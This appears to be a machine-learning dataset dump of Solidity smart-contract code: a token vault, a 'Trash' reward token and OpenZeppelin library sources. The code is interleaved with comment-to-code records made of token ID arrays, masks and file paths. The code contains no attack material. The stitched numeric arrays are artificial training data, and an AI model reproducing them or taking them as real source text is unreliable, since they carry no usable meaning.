allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * Standard EIP-20 token with an interface marker. * * @notice Interface marker is used by crowdsale contracts to validate that addresses point a good token contract. * */ contract StandardTokenExt is StandardToken, Recoverable { /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } } /** * Hold tokens for a group investor of investors until the unlock date. * * After the unlock date the investor can claim their tokens. * * Steps * * - Prepare a spreadsheet for token allocation * - Deploy this contract, with the sum to tokens to be distributed, from the owner account * - Call setInvestor for all investors from the owner account using a local script and CSV input * - Move tokensToBeAllocated in this contract using StandardToken.transfer() * - Call lock from the owner account * - Wait until the freeze period is over * - After the freeze time is over investors can call claim() from their address to get their tokens * */ contract TokenVault is Ownable, Recoverable { using SafeMathLib for uint; /** How many investors we have now */ uint public investorCount; /** Sum from the spreadsheet how much tokens we should get on the contract. If the sum does not match at the time of the lock the vault is faulty and must be recreated.*/ uint public tokensToBeAllocated; /** How many tokens investors have claimed so far */ uint public totalClaimed; /** How many tokens our internal book keeping tells us to have at the time of lock() when all investor data has been loaded */ uint public tokensAllocatedTotal; /** How much we have allocated to the investors invested */ mapping(address => uint) public balances; /** How many tokens investors have claimed */ mapping(address => uint) public claimed; /** When was the last claim by an investor **/ mapping(address => uint) public lastClaimedAt; /** When our claim freeze is over (UNIX timestamp) */ uint public freezeEndsAt; /** When this vault was locked (UNIX timestamp) */ uint public lockedAt; /** defining the tap **/ uint public tokensPerSecond; /** We can also define our own token, which will override the ICO one ***/ StandardTokenExt public token; /** What is our current state. * * Loading: Investor data is being loaded and contract not yet locked * Holding: Holding tokens for investors * Distributing: Freeze time is over, investors can claim their tokens */ enum State{Unknown, Loading, Holding, Distributing} /** We allocated tokens for investor */ event Allocated(address investor, uint value); /** We distributed tokens to an investor */ event Distributed(address investors, uint count); event Locked(); /** * Create presale contract where lock up period is given days * * @param _owner Who can load investor data and lock * @param _freezeEndsAt UNIX timestamp when the vault unlocks * @param _token Token contract address we are distributing * @param _tokensToBeAllocated Total number of tokens this vault will hold - including decimal multiplication * @param _tokensPerSecond Define the tap: how many tokens we permit an user to withdraw per second, 0 to disable */ function TokenVault(address _owner, uint _freezeEndsAt, StandardTokenExt _token, uint _tokensToBeAllocated, uint _tokensPerSecond) { owner = _owner; // Invalid owner if(owner == 0) { throw; } token = _token; // Check the address looks like a token contract if(!token.isToken()) { throw; } // Give argument if(_freezeEndsAt == 0) { throw; } // Sanity check on _tokensToBeAllocated if(_tokensToBeAllocated == 0) { throw; } if (_freezeEndsAt < now) { freezeEndsAt = now; } else { freezeEndsAt = _freezeEndsAt; } tokensToBeAllocated = _tokensToBeAllocated; tokensPerSecond = _tokensPerSecond; } /// @dev Add a presale participating allocation function setInvestor(address investor, uint amount) public onlyOwner { if(lockedAt > 0) { // Cannot add new investors after the vault is locked throw; } if(amount == 0) throw; // No empty buys // Don't allow reset if(balances[investor] > 0) { throw; } balances[investor] = amount; investorCount++; tokensAllocatedTotal += amount; Allocated(investor, amount); } /// @dev Lock the vault /// - All balances have been loaded in correctly /// - Tokens are transferred on this vault correctly /// - Checks are in place to prevent creating a vault that is locked with incorrect token balances. function lock() onlyOwner { if(lockedAt > 0) { throw; // Already locked } // Spreadsheet sum does not match to what we have loaded to the investor data if(tokensAllocatedTotal != tokensToBeAllocated) { throw; } // Do not lock the vault if the given tokens are not on this contract if(token.balanceOf(address(this)) != tokensAllocatedTotal) { throw; } lockedAt = now; Locked(); } /// @dev In the case locking failed, then allow the owner to reclaim the tokens on the contract. function recoverFailedLock() onlyOwner { if(lockedAt > 0) { throw; } // Transfer all tokens on this contract back to the owner token.transfer(owner, token.balanceOf(address(this))); } /// @dev Get the current balance of tokens in the vault /// @return uint How many tokens there are currently in vault function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) { return token.balanceOf(address(this)); } /// @dev Check how many tokens "investor" can claim /// @param investor Address of the investor /// @return uint How many tokens the investor can claim now function getCurrentlyClaimableAmount(address investor) public constant returns (uint claimableAmount) { uint maxTokensLeft = balances[investor] - claimed[investor]; if (now < freezeEndsAt) { return 0; } if (tokensPerSecond > 0) { uint previousClaimAt = lastClaimedAt[investor]; uint maxClaim; if (previousClaimAt == 0) { previousClaimAt = freezeEndsAt; } maxClaim = (now - previousClaimAt) * tokensPerSecond; if (maxClaim > maxTokensLeft) { return maxTokensLeft; } else { return maxClaim; } } else { return maxTokensLeft; } } /// @dev Claim N bought tokens to the investor as the msg sender function claim() { address investor = msg.sender; if(lockedAt == 0) { throw; // We were never locked } if(now < freezeEndsAt) { throw; // Trying to claim early } if(balances[investor] == 0) { // Not our investor throw; } uint amount = getCurrentlyClaimableAmount(investor); require (amount > 0); lastClaimedAt[investor] = now; claimed[investor] += amount; totalClaimed += amount; token.transfer(investor, amount); Distributed(investor, amount); } /// @dev This function is prototyped in Recoverable contract function tokensToBeReturned(ERC20Basic tokenToClaim) public returns (uint) { if (address(tokenToClaim) == address(token)) { return getBalance().minus(tokensAllocatedTotal); } else { return tokenToClaim.balanceOf(this); } } /// @dev Resolve the contract umambigious state function getState() public constant returns(State) { if(lockedAt == 0) { return State.Loading; } else if(now > freezeEndsAt) { return State.Distributing; } else { return State.Holding; } } }
* @dev Adds two numbers, throws on overflow./
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; }
4,811,269
[ 1, 3655, 2795, 5600, 16, 1216, 603, 9391, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 1377, 2254, 5034, 276, 273, 279, 397, 324, 31, 203, 1377, 1815, 12, 71, 1545, 279, 1769, 203, 1377, 327, 276, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x4CaedD82ED18C34cBE13c6ae37ed5DFF6057344B/sources/E/workspace/tony/yai-protocol/contracts/Implementation.sol
Record expiry for current epoch's coupons
uint256 expirationEpoch = epoch().add(Constants.getCouponExpiration());
720,063
[ 1, 2115, 10839, 364, 783, 7632, 1807, 1825, 30324, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 7686, 14638, 273, 7632, 7675, 1289, 12, 2918, 18, 588, 22744, 12028, 10663, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '@openzeppelin/contracts/access/AccessControl.sol'; interface BadFaceBots { function botsBalance(address _user) external view returns(uint256); } contract Trash is ERC20("Trash", "TRASH"), ReentrancyGuard, AccessControl { using SafeMath for uint256; bytes32 public constant EARNER_ROLE = keccak256("EARNER_ROLE"); bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); uint256 constant public BASE_RATE = 10 ether; // March 14, 2032 23:59:59 GMT+0000 uint256 public END = 1962921599; uint256 public START = 1647302400; mapping(address => uint256) public rewards; mapping(address => uint256) public lastUpdate; BadFaceBots public botsContract; event RewardReceived(address indexed user, uint256 reward); event EarnReward(address indexed user, uint256 amount); event Burned(address indexed user, uint256 amount); modifier onlyAdmin() { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender),"Restricted to admins"); _; } constructor(address tokenAddress) { botsContract = BadFaceBots(tokenAddress); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(EARNER_ROLE, msg.sender); _setupRole(ADMIN_ROLE, msg.sender); _setRoleAdmin(EARNER_ROLE, DEFAULT_ADMIN_ROLE); _setRoleAdmin(ADMIN_ROLE, DEFAULT_ADMIN_ROLE); } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } // called on transfers function transferTokens(address _from, address _to) external { require(msg.sender == address(botsContract)); uint256 time = min(block.timestamp, END); uint256 timerFrom = lastUpdate[_from]; if(timerFrom <= 0){ timerFrom = START; } if (timerFrom > 0) rewards[_from] += botsContract.botsBalance(_from).mul(BASE_RATE.mul((time.sub(timerFrom)))).div(86400); if (timerFrom != END) lastUpdate[_from] = time; if (_to != address(0)) { uint256 timerTo = lastUpdate[_to]; if (timerTo > 0) rewards[_to] += botsContract.botsBalance(_to).mul(BASE_RATE.mul((time.sub(timerTo)))).div(86400); if (timerTo != END) lastUpdate[_to] = time; } } // called on transfers function updateReward(address _from) internal { require(msg.sender == _from); uint256 time = min(block.timestamp, END); uint256 timerFrom = lastUpdate[_from]; if(timerFrom <= 0){ timerFrom = START; } if (timerFrom > 0) rewards[_from] += botsContract.botsBalance(_from).mul(BASE_RATE.mul((time.sub(timerFrom)))).div(86400); if (timerFrom != END) lastUpdate[_from] = time; } function getReward(address _user) external nonReentrant { require(msg.sender == _user); updateReward(_user); uint256 reward = rewards[_user]; if (reward > 0) { rewards[_user] = 0; _mint(_user, reward); emit RewardReceived(_user, reward); } } function earnReward(address _user, uint256 _amount) external { require(hasRole(EARNER_ROLE, msg.sender), "Caller is not a earner"); rewards[_user] += _amount; emit EarnReward(_user, _amount); } function burn(address _user, uint256 _amount) external { require(msg.sender == _user); _burn(_user, _amount); emit Burned(_user, _amount); } function getTotalClaimable(address _user) external view returns(uint256) { uint256 time = min(block.timestamp, END); uint256 timerFrom = lastUpdate[_user]; if(timerFrom <= 0){ timerFrom = START; } uint256 pending = botsContract.botsBalance(_user).mul(BASE_RATE.mul((time.sub(timerFrom)))).div(86400); return rewards[_user] + pending; } //emergency usage function reserve(uint256 amount) public onlyAdmin { _mint(msg.sender, amount); } function setEndTime(uint256 time) public onlyAdmin { END = time; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } 